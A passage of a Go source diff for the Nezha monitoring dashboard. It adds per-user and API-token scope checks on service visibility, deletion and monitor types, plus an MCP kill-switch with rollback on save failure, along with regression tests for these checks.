server.Name + server, ok := serverMap[result.Servers[i].ServerID] + if !ok || !userCanViewServer(c, server) { + continue } + result.Servers[i].ServerName = server.Name + filtered = append(filtered, result.Servers[i]) } - response.Servers = result.Servers + response.Servers = filtered return response, nil } -func queryServiceHistoryFromDB(serviceID uint64, period tsdb.QueryPeriod, response *model.ServiceHistoryResponse) (*model.ServiceHistoryResponse, error) { +func queryServiceHistoryFromDB(c *gin.Context, serviceID uint64, period tsdb.QueryPeriod, response *model.ServiceHistoryResponse) (*model.ServiceHistoryResponse, error) { since := time.Now().Add(-period.Duration()) var histories []model.ServiceHistory @@ -146,11 +221,13 @@ func queryServiceHistoryFromDB(serviceID uint64, period tsdb.QueryPeriod, respon } for serverID, records := range grouped { - stats := model.ServerServiceStats{ - ServerID: serverID, + server, ok := serverMap[serverID] + if !ok || !userCanViewServer(c, server) { + continue } - if server, ok := serverMap[serverID]; ok { - stats.ServerName = server.Name + stats := model.ServerServiceStats{ + ServerID: serverID, + ServerName: server.Name, } var totalDelay float64 @@ -216,12 +293,10 @@ func listServerServices(c *gin.Context) ([]*model.ServiceInfos, error) { return nil, singleton.Localizer.ErrorT("server not found") } - _, isMember := c.Get(model.CtxKeyAuthorizedUser) - authorized := isMember - - if server.HideForGuest && !authorized { + if !userCanViewServer(c, server) { return nil, singleton.Localizer.ErrorT("unauthorized") } + _, isMember := c.Get(model.CtxKeyAuthorizedUser) // 解析时间范围 periodStr := c.DefaultQuery("period", "1d") @@ -235,7 +310,13 @@ func listServerServices(c *gin.Context) ([]*model.ServiceInfos, error) { return nil, singleton.Localizer.ErrorT("unauthorized: only 1d data available for guests") } - services := singleton.ServiceSentinelShared.GetSortedList() + allServices := singleton.ServiceSentinelShared.GetSortedList() + services := make([]*model.Service, 0, len(allServices)) + for _, s := range allServices { + if userCanViewService(c, s) { + services = append(services, s) + } + } var result []*model.ServiceInfos @@ -373,16 +454,13 @@ func listServerWithServices(c *gin.Context) ([]uint64, error) { } } - _, isMember := c.Get(model.CtxKeyAuthorizedUser) - authorized := isMember - var ret []uint64 for id := range serverIDSet { server, ok := serverMap[id] if !ok || server == nil { continue } - if !server.HideForGuest || authorized { + if userCanViewServer(c, server) { ret = append(ret, id) } } @@ -406,6 +484,13 @@ func createService(c *gin.Context) (uint64, error) { if err := c.ShouldBindJSON(&mf); err != nil { return 0, err } + if err := model.ValidateServiceMonitorType(uint64(mf.Type)); err != nil { + return 0, err + } + + if !isValidServiceCover(mf.Cover) { + return 0, singleton.Localizer.ErrorT("permission denied") + } uid := getUid(c) @@ -423,7 +508,7 @@ func createService(c *gin.Context) (uint64, error) { m.LatencyNotify = mf.LatencyNotify m.MinLatency = mf.MinLatency m.MaxLatency = mf.MaxLatency - m.EnableShowInService = mf.EnableShowInService + m.HideForGuest = mf.HideForGuest m.EnableTriggerTask = mf.EnableTriggerTask m.RecoverTriggerTasks = mf.RecoverTriggerTasks m.FailTriggerTasks = mf.FailTriggerTasks @@ -466,6 +551,14 @@ func updateService(c *gin.Context) (any, error) { if err := c.ShouldBindJSON(&mf); err != nil { return nil, err } + if err := model.ValidateServiceMonitorType(uint64(mf.Type)); err != nil { + return nil, err + } + + if !isValidServiceCover(mf.Cover) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + var m model.Service if err := singleton.DB.First(&m, id).Error; err != nil { return nil, singleton.Localizer.ErrorT("service id %d does not exist", id) @@ -487,7 +580,7 @@ func updateService(c *gin.Context) (any, error) { m.LatencyNotify = mf.LatencyNotify m.MinLatency = mf.MinLatency m.MaxLatency = mf.MaxLatency - m.EnableShowInService = mf.EnableShowInService + m.HideForGuest = mf.HideForGuest m.EnableTriggerTask = mf.EnableTriggerTask m.RecoverTriggerTasks = mf.RecoverTriggerTasks m.FailTriggerTasks = mf.FailTriggerTasks @@ -529,6 +622,19 @@ func batchDeleteService(c *gin.Context) (any, error) { return nil, singleton.Localizer.ErrorT("permission denied") } + // 与 batchDeleteCron 对称：DispatchTask 没有 PAT 上下文，这里是阻止 + // 受限 PAT 通过删除 ServiceCoverAll + 不充分 SkipServers 间接影响 + // 白名单外 owner servers 探测状态的唯一同步入口。 + for _, id := range ids { + existing, ok := singleton.ServiceSentinelShared.Get(id) + if !ok || existing == nil { + continue + } + if err := enforcePATServiceDispatchScope(c, existing); err != nil { + return nil, err + } + } + err := singleton.DB.Transaction(func(tx *gorm.DB) error { return tx.Unscoped().Delete(&model.Service{}, "id in (?)", ids).Error }) @@ -541,9 +647,27 @@ func batchDeleteService(c *gin.Context) (any, error) { } func validateServers(c *gin.Context, ss *model.Service) error { - if !singleton.ServerShared.CheckPermission(c, maps.Keys(ss.SkipServers)) { + if err := checkServiceSkipServerPermission(c, ss.Cover, ss.SkipServers, ss.GetUserID()); err != nil { + return err + } + + if err := rejectImplicitServiceCoverForLimitedPAT(c, ss.Cover, ss.SkipServers, ss.GetUserID()); err != nil { + return err + } + + if !singleton.CronShared.CheckPermission(c, slices.Values(ss.FailTriggerTasks)) { return singleton.Localizer.ErrorT("permission denied") } + if !singleton.CronShared.CheckPermission(c, slices.Values(ss.RecoverTriggerTasks)) { + return singleton.Localizer.ErrorT("permission denied") + } + if err := enforcePATTriggerTaskScope(c, ss.FailTriggerTasks, ss.RecoverTriggerTasks); err != nil { + return err + } + + if err := assertOwnsNotificationGroup(c, ss.NotificationGroupID); err != nil { + return err + } return nil } diff --git a/cmd/dashboard/controller/service_cache_key_test.go b/cmd/dashboard/controller/service_cache_key_test.go new file mode 100644 index 00000000..3ef2af45 --- /dev/null +++ b/cmd/dashboard/controller/service_cache_key_test.go @@ -0,0 +1,58 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +func newCacheKeyCtx(t *testing.T, user *model.User, tok *model.APIToken) *gin.Context { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/api/v1/service", nil) + if user != nil { + c.Set(model.CtxKeyAuthorizedUser, user) + } + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + return c +} + +func TestServiceResponseCacheKey_DistinguishesPATsWithDifferentServerWhitelist(t *testing.T) { + user := &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember} + + tokA := &model.APIToken{ID: 1, UserID: 100} + tokA.SetServerIDs([]uint64{7}) + + tokB := &model.APIToken{ID: 2, UserID: 100} + tokB.SetServerIDs([]uint64{8}) + + keyA := serviceResponseCacheKey(newCacheKeyCtx(t, user, tokA)) + keyB := serviceResponseCacheKey(newCacheKeyCtx(t, user, tokB)) + + if keyA == keyB { + t.Fatalf("singleflight key must differ across PATs with disjoint server_ids; got %q for both", + keyA) + } +} + +func TestServiceResponseCacheKey_DistinguishesPATFromJWT(t *testing.T) { + user := &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember} + + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{7}) + + keyPAT := serviceResponseCacheKey(newCacheKeyCtx(t, user, tok)) + keyJWT := serviceResponseCacheKey(newCacheKeyCtx(t, user, nil)) + + if keyPAT == keyJWT { + t.Fatalf("PAT-shaped key must not collide with the JWT-shaped key; got %q for both", keyPAT) + } +} diff --git a/cmd/dashboard/controller/service_dispatch_pat_test.go b/cmd/dashboard/controller/service_dispatch_pat_test.go new file mode 100644 index 00000000..4a1ac63b --- /dev/null +++ b/cmd/dashboard/controller/service_dispatch_pat_test.go @@ -0,0 +1,188 @@ +package controller + +// 回归 service monitor 运行时入口 (batchDeleteService) 上的 PAT +// cover-fanout 收口。与 cron_dispatch_pat_test.go 对称，钉死写侧 +// rejectImplicitServiceCoverForLimitedPAT 与运行时 +// enforcePATServiceDispatchScope 共用同一裁决路径。 + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupServiceDispatchPATFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + originalSentinel := singleton.ServiceSentinelShared + originalCron := singleton.CronShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Service{}, &model.Server{}, &model.User{}, &model.ServiceHistory{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + sc := singleton.NewEmptyServerClassForTest() + for _, id := range []uint64{1, 2} { + s := &model.Server{} + s.ID = id + s.SetUserID(100) + sc.InsertForTest(s) + } + singleton.ServerShared = sc + // ServiceSentinel 在构造时会调 CronShared.AddFunc 注册每日/每周维护任务， + // 必须先于 NewServiceSentinel 装配。 + singleton.CronShared = singleton.NewCronClass() + + sentinel, err := singleton.NewServiceSentinel(make(chan *model.Service, 4)) + require.NoError(t, err) + singleton.ServiceSentinelShared = sentinel + + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + t.Cleanup(func() { + sentinel.Close() + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.ServiceSentinelShared = originalSentinel + singleton.CronShared = originalCron + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.ServerShared = originalServer + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func insertServiceForDispatchTest(t *testing.T, cover uint8, skip map[uint64]bool) uint64 { + t.Helper() + svc := &model.Service{ + Common: model.Common{UserID: 100}, + Name: "dispatch-svc-fixture", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:80", + Duration: 30, + Cover: cover, + SkipServers: skip, + } + require.NoError(t, singleton.DB.Create(svc).Error) + require.NoError(t, singleton.ServiceSentinelShared.Update(svc)) + singleton.ServiceSentinelShared.UpdateServiceList() + return svc.ID +} + +func newServiceDispatchRouter(t *testing.T, tok *model.APIToken) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.POST("/api/v1/batch-delete/service", commonHandler(batchDeleteService)) + return r +} + +func TestBatchDeleteService_RejectsCoverAllWithInsufficientSkipForLimitedPAT(t *testing.T) { + setupServiceDispatchPATFixture(t) + svcID := insertServiceForDispatchTest(t, model.ServiceCoverAll, map[uint64]bool{1: true}) + + tok := &model.APIToken{ID: 31, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newServiceDispatchRouter(t, tok) + body, _ := json.Marshal([]uint64{svcID}) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT [1] must NOT batch-delete a ServiceCoverAll monitor whose SkipServers only marks whitelisted servers; DispatchTask still probes server 2") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Service + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Len(t, rows, 1, "service row must still exist when the delete call is rejected") +} + +func TestBatchDeleteService_AllowsCoverAllWhenSkipCoversNonWhitelisted(t *testing.T) { + setupServiceDispatchPATFixture(t) + svcID := insertServiceForDispatchTest(t, model.ServiceCoverAll, map[uint64]bool{2: true}) + + tok := &model.APIToken{ID: 32, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newServiceDispatchRouter(t, tok) + body, _ := json.Marshal([]uint64{svcID}) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "SkipServers covering every non-whitelisted owner server must allow batch-delete: error=%s", errMsg) + + var rows []model.Service + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "service row must be deleted when the call succeeds") +} + +func TestBatchDeleteService_AllowsCoverIgnoreAllInsideWhitelist(t *testing.T) { + setupServiceDispatchPATFixture(t) + svcID := insertServiceForDispatchTest(t, model.ServiceCoverIgnoreAll, map[uint64]bool{1: true}) + + tok := &model.APIToken{ID: 33, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newServiceDispatchRouter(t, tok) + body, _ := json.Marshal([]uint64{svcID}) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "ServiceCoverIgnoreAll allow-list inside PAT whitelist must allow batch-delete: error=%s", errMsg) + + var rows []model.Service + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows) +} diff --git a/cmd/dashboard/controller/service_list_pat_whitelist_test.go b/cmd/dashboard/controller/service_list_pat_whitelist_test.go new file mode 100644 index 00000000..1c764ccb --- /dev/null +++ b/cmd/dashboard/controller/service_list_pat_whitelist_test.go @@ -0,0 +1,66 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func newServiceListPATRouter(t *testing.T, tok *model.APIToken) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.GET("/api/v1/service/list", listHandler(listService)) + return r +} + +// GET /api/v1/service/list must hide ServiceCoverAll rows whose SkipServers +// deny-set does not cover every owner server outside the PAT whitelist. +// DispatchTask would still probe those servers, so leaking the row to the +// list view (and exposing target/credentials/triggers) is a real PAT scope +// escape. +func TestListService_HidesCoverAllWithInsufficientSkipForLimitedPAT(t *testing.T) { + setupServiceDispatchPATFixture(t) + insufficient := insertServiceForDispatchTest(t, model.ServiceCoverAll, map[uint64]bool{1: true}) + sufficient := insertServiceForDispatchTest(t, model.ServiceCoverAll, map[uint64]bool{2: true}) + + tok := &model.APIToken{ID: 34, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newServiceListPATRouter(t, tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/v1/service/list", nil) + r.ServeHTTP(w, req) + + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []*model.Service `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.True(t, resp.Success, resp.Error) + + seen := map[uint64]bool{} + for _, s := range resp.Data { + seen[s.ID] = true + } + assert.False(t, seen[insufficient], + "PAT [1] must NOT see a ServiceCoverAll whose SkipServers does not cover owner server 2 (rows=%+v)", resp.Data) + assert.True(t, seen[sufficient], + "PAT [1] must still see a ServiceCoverAll whose SkipServers already covers every non-whitelisted owner server") +} diff --git a/cmd/dashboard/controller/service_skip_enabled_only_test.go b/cmd/dashboard/controller/service_skip_enabled_only_test.go new file mode 100644 index 00000000..f3f63716 --- /dev/null +++ b/cmd/dashboard/controller/service_skip_enabled_only_test.go @@ -0,0 +1,66 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func ensureLocalizerForServiceTest(t *testing.T) { + t.Helper() + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } +} + +// M13 regression: checkServiceSkipServerPermission must treat SkipServers +// as a typed map[uint64]bool where only `true` entries actually skip +// at runtime (DispatchTask only consults true keys). Entries with value +// false carry no dispatch meaning, so requiring HasPermission on them +// rejects perfectly legitimate updates from members whose PAT does not +// own the no-op `{2: false}` server. +func TestCheckServiceSkipServerPermission_IgnoresFalseEntries(t *testing.T) { + ensureLocalizerForServiceTest(t) + saved := singleton.ServerShared + t.Cleanup(func() { singleton.ServerShared = saved }) + sc := singleton.NewEmptyServerClassForTest() + sc.InsertForTest(&model.Server{Common: model.Common{ID: 1, UserID: 100}}) + sc.InsertForTest(&model.Server{Common: model.Common{ID: 2, UserID: 999}}) + singleton.ServerShared = sc + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember}) + + skip := map[uint64]bool{ + 1: true, // member owns it — legal allow-list entry + 2: false, // no-op entry; member doesn't own server 2 but it's not actually skipped + } + if err := checkServiceSkipServerPermission(ctx, model.ServiceCoverIgnoreAll, skip, 100); err != nil { + t.Fatalf("`{2: false}` must NOT trigger permission denied — it has no runtime dispatch effect, got %v", err) + } +} + +func TestCheckServiceSkipServerPermission_RejectsForeignTrueEntries(t *testing.T) { + ensureLocalizerForServiceTest(t) + saved := singleton.ServerShared + t.Cleanup(func() { singleton.ServerShared = saved }) + sc := singleton.NewEmptyServerClassForTest() + sc.InsertForTest(&model.Server{Common: model.Common{ID: 1, UserID: 100}}) + sc.InsertForTest(&model.Server{Common: model.Common{ID: 2, UserID: 999}}) + singleton.ServerShared = sc + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember}) + + skip := map[uint64]bool{ + 2: true, // member doesn't own server 2 — true entry IS the allow-list, must reject + } + if err := checkServiceSkipServerPermission(ctx, model.ServiceCoverIgnoreAll, skip, 100); err == nil { + t.Fatal("true entry pointing at foreign-owned server must still be rejected — pre-existing safety invariant") + } +} diff --git a/cmd/dashboard/controller/service_type_security_test.go b/cmd/dashboard/controller/service_type_security_test.go new file mode 100644 index 00000000..e18fd7ac --- /dev/null +++ b/cmd/dashboard/controller/service_type_security_test.go @@ -0,0 +1,91 @@ +package controller + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func serviceTypeSecurityRouter() *gin.Engine { + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + c.Next() + }) + r.POST("/api/v1/service", commonHandler(createService)) + r.PATCH("/api/v1/service/:id", commonHandler(updateService)) + return r +} + +func serviceTypeSecurityBody(taskType uint8) []byte { + body, _ := json.Marshal(model.ServiceForm{ + Name: "service-type-security", + Target: "example.invalid:443", + Type: taskType, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + Duration: 30, + }) + return body +} + +func TestCreateServiceRejectsNonProbeTaskTypes(t *testing.T) { + setupCoverPATFixture(t) + r := serviceTypeSecurityRouter() + + for _, taskType := range []uint8{0, model.TaskTypeCommand, model.TaskTypeApplyConfig, model.TaskTypeExec, 255} { + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/service", bytes.NewReader(serviceTypeSecurityBody(taskType))) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + require.False(t, success, "type %d must be rejected", taskType) + require.Contains(t, errMsg, "invalid service monitor type") + } + + var count int64 + require.NoError(t, singleton.DB.Model(&model.Service{}).Count(&count).Error) + require.Zero(t, count, "rejected task types must not reach persistence") +} + +func TestUpdateServiceRejectsNonProbeTaskTypes(t *testing.T) { + setupCoverPATFixture(t) + r := serviceTypeSecurityRouter() + service := &model.Service{ + Common: model.Common{UserID: 100}, + Name: "valid-service", + Target: "example.invalid:443", + Type: model.TaskTypeTCPPing, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + Duration: 30, + } + require.NoError(t, singleton.DB.Create(service).Error) + + for _, taskType := range []uint8{model.TaskTypeCommand, model.TaskTypeApplyConfig, model.TaskTypeExec, 255} { + w := httptest.NewRecorder() + path := fmt.Sprintf("/api/v1/service/%d", service.ID) + req := httptest.NewRequest(http.MethodPatch, path, bytes.NewReader(serviceTypeSecurityBody(taskType))) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + require.False(t, success, "type %d must be rejected", taskType) + require.Contains(t, errMsg, "invalid service monitor type") + + var persisted model.Service + require.NoError(t, singleton.DB.First(&persisted, service.ID).Error) + require.Equal(t, uint8(model.TaskTypeTCPPing), persisted.Type) + } +} diff --git a/cmd/dashboard/controller/service_visibility_test.go b/cmd/dashboard/controller/service_visibility_test.go new file mode 100644 index 00000000..5bbdaded --- /dev/null +++ b/cmd/dashboard/controller/service_visibility_test.go @@ -0,0 +1,87 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" +) + +func newServiceVisibilityCtx(viewer *model.User) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + if viewer != nil { + c.Set(model.CtxKeyAuthorizedUser, viewer) + } + return c +} + +func TestUserCanViewServiceVisibleServiceIsPublic(t *testing.T) { + visible := &model.Service{Common: model.Common{ID: 1, UserID: 100}, HideForGuest: false} + assert.True(t, userCanViewService(newServiceVisibilityCtx(nil), visible), "guest must see HideForGuest=false regardless of owner") +} + +func TestUserCanViewServiceHiddenServiceRejectsGuest(t *testing.T) { + hidden := &model.Service{Common: model.Common{ID: 1, UserID: 100}, HideForGuest: true} + assert.False(t, userCanViewService(newServiceVisibilityCtx(nil), hidden), "guest must NOT see hidden service via per-server / per-id sideband endpoints") +} + +func TestUserCanViewServiceHiddenServiceRejectsForeignMember(t *testing.T) { + hidden := &model.Service{Common: model.Common{ID: 1, UserID: 100}, HideForGuest: true} + foreign := &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember} + assert.False(t, userCanViewService(newServiceVisibilityCtx(foreign), hidden), "foreign member must NOT see another user's hidden service") +} + +func TestUserCanViewServiceHiddenServiceAllowsOwner(t *testing.T) { + hidden := &model.Service{Common: model.Common{ID: 1, UserID: 100}, HideForGuest: true} + owner := &model.User{Common: model.Common{ID: 100}, Role: model.RoleMember} + assert.True(t, userCanViewService(newServiceVisibilityCtx(owner), hidden), "owner must still see their own hidden service") +} + +func TestUserCanViewServiceHiddenServiceAllowsAdmin(t *testing.T) { + hidden := &model.Service{Common: model.Common{ID: 1, UserID: 100}, HideForGuest: true} + admin := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + assert.True(t, userCanViewService(newServiceVisibilityCtx(admin), hidden), "admin must be able to see any hidden service") +} + +// 钉死 admin 自己签发的 server_ids 受限 PAT 不能借助 admin 身份在 +// service 可见性入口绕过白名单：与 userCanViewServer 的 PAT-first 收口 +// 保持对称，避免 hidden service 通过 admin 早返回泄漏给受限 PAT。 +func TestUserCanViewServiceLimitedPATShouldDenyAdminWhenOutsideWhitelist(t *testing.T) { + hidden := &model.Service{ + Common: model.Common{ID: 1, UserID: 100}, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{2: true}, + HideForGuest: true, + } + admin := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + tok := &model.APIToken{ID: 7, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + ctx := newServiceVisibilityCtx(admin) + ctx.Set(model.CtxKeyAPIToken, tok) + + assert.False(t, userCanViewService(ctx, hidden), + "admin caller using a server_ids=[1] PAT must NOT see a CoverIgnoreAll service whose only target is the non-whitelisted server 2") +} + +func TestUserCanViewServiceLimitedPATAllowsAdminInsideWhitelist(t *testing.T) { + visible := &model.Service{ + Common: model.Common{ID: 2, UserID: 100}, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + HideForGuest: true, + } + admin := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + tok := &model.APIToken{ID: 7, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + ctx := newServiceVisibilityCtx(admin) + ctx.Set(model.CtxKeyAPIToken, tok) + + assert.True(t, userCanViewService(ctx, visible), + "admin caller using a server_ids=[1] PAT must still see a CoverIgnoreAll service bound to whitelisted server 1") +} diff --git a/cmd/dashboard/controller/setting.go b/cmd/dashboard/controller/setting.go index ccc02a18..7d16daef 100644 --- a/cmd/dashboard/controller/setting.go +++ b/cmd/dashboard/controller/setting.go @@ -2,11 +2,13 @@ package controller import ( "errors" + "log" "strings" "github.com/gin-gonic/gin" "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" "github.com/nezhahq/nezha/service/singleton" ) @@ -97,6 +99,8 @@ func updateConfig(c *gin.Context) (any, error) { singleton.Conf.EnablePlainIPInNotification = sf.EnablePlainIPInNotification singleton.Conf.Cover = sf.Cover singleton.Conf.InstallHost = sf.InstallHost + singleton.Conf.DashboardHost = sf.DashboardHost + singleton.Conf.ReservedHosts = sf.ReservedHosts singleton.Conf.IgnoredIPNotification = sf.IgnoredIPNotification singleton.Conf.IPChangeNotificationGroupID = sf.IPChangeNotificationGroupID singleton.Conf.ExpiryNotificationGroupID = sf.ExpiryNotificationGroupID @@ -120,7 +124,16 @@ func updateConfig(c *gin.Context) (any, error) { singleton.Conf.DomainExpiryNotificationDays = sf.DomainExpiryNotificationDays singleton.Conf.ServerExpiryNotificationDays = sf.ServerExpiryNotificationDays - if err := singleton.Conf.Save(); err != nil { + mcpWasEnabled := singleton.Conf.MCPEnabled() + mcpNext := resolveSettingEnableMCP(sf.EnableMCP, mcpWasEnabled) + + + if err := applyEnableMCPTransition( + mcpWasEnabled, mcpNext, + singleton.Conf.SetMCPEnabled, + singleton.Conf.Save, + fireMCPKillSwitch, + ); err != nil { return nil, newGormError("%v", err) } @@ -128,6 +141,45 @@ func updateConfig(c *gin.Context) (any, error) { return nil, nil } +// applyEnableMCPTransition commits the new EnableMCP value and persists it, +// guaranteeing the in-memory flag and the kill-switch cleanup stay consistent +// with what actually reached durable storage: +// - setVal(next) is applied so Save serialises the new value. +// - If save fails, the flag is rolled back to prev and no cleanup runs, so a +// failed disable cannot leave the dashboard half-disabled (new requests +// rejected while in-flight RPC/streams/URLs are never revoked). +// - cleanup runs only on a persisted enabled->disabled transition. +func applyEnableMCPTransition(prev, next bool, setVal func(bool), save func() error, cleanup func()) error { + setVal(next) + if err := save(); err != nil { + setVal(prev) + return err + } + if prev && !next { + cleanup() + } + return nil +} + +func fireMCPKillSwitch() { + purgedURLs := PurgeTransferEntries() + revokedStreams := rpc.NezhaHandlerSingleton.RevokeStreamsForPurpose(rpc.PurposeMCPTransfer) + cancelledRPC := rpc.CancelAllMCPInflight() + log.Printf("NEZHA>> MCP kill switch fired: purged=%d urls, revoked=%d streams, cancelled=%d rpc", + purgedURLs, revokedStreams, cancelledRPC) +} + +// resolveSettingEnableMCP picks the effective EnableMCP value for the +// update. A nil form pointer means "field absent" so we MUST preserve +// the current config to avoid accidentally tripping the kill switch on +// partial PATCH calls that omit enable_mcp. +func resolveSettingEnableMCP(formValue *bool, current bool) bool { + if formValue == nil { + return current + } + return *formValue +} + // Perform maintenance // @Summary Perform maintenance // @Security BearerAuth diff --git a/cmd/dashboard/controller/setting_enable_mcp_save_failure_test.go b/cmd/dashboard/controller/setting_enable_mcp_save_failure_test.go new file mode 100644 index 00000000..f296d46f --- /dev/null +++ b/cmd/dashboard/controller/setting_enable_mcp_save_failure_test.go @@ -0,0 +1,73 @@ +package controller + +import ( + "errors" + "testing" +) + +// Review issue #3: when persisting the new EnableMCP value fails, updateConfig +// must NOT leave the dashboard in a half-disabled state where in-memory +// EnableMCP=false (new requests rejected) but the kill-switch cleanup +// (PurgeTransferEntries / RevokeStreamsForPurpose / CancelAllMCPInflight) +// never ran. applyEnableMCPTransition owns that invariant: on save failure it +// rolls the in-memory flag back to its previous value and runs no cleanup. + +func TestApplyEnableMCPTransition_SaveFailureRollsBackAndSkipsCleanup(t *testing.T) { + current := true + cleanupRan := false + + setVal := func(v bool) { current = v } + saveErr := errors.New("disk full") + save := func() error { return saveErr } + cleanup := func() { cleanupRan = true } + + err := applyEnableMCPTransition(true /*prev*/, false /*next*/, setVal, save, cleanup) + + if !errors.Is(err, saveErr) { + t.Fatalf("expected the save error to propagate, got %v", err) + } + if current != true { + t.Fatalf("in-memory EnableMCP must roll back to its previous value on save failure; got %v", current) + } + if cleanupRan { + t.Fatal("kill-switch cleanup must NOT run when the new value was never persisted") + } +} + +func 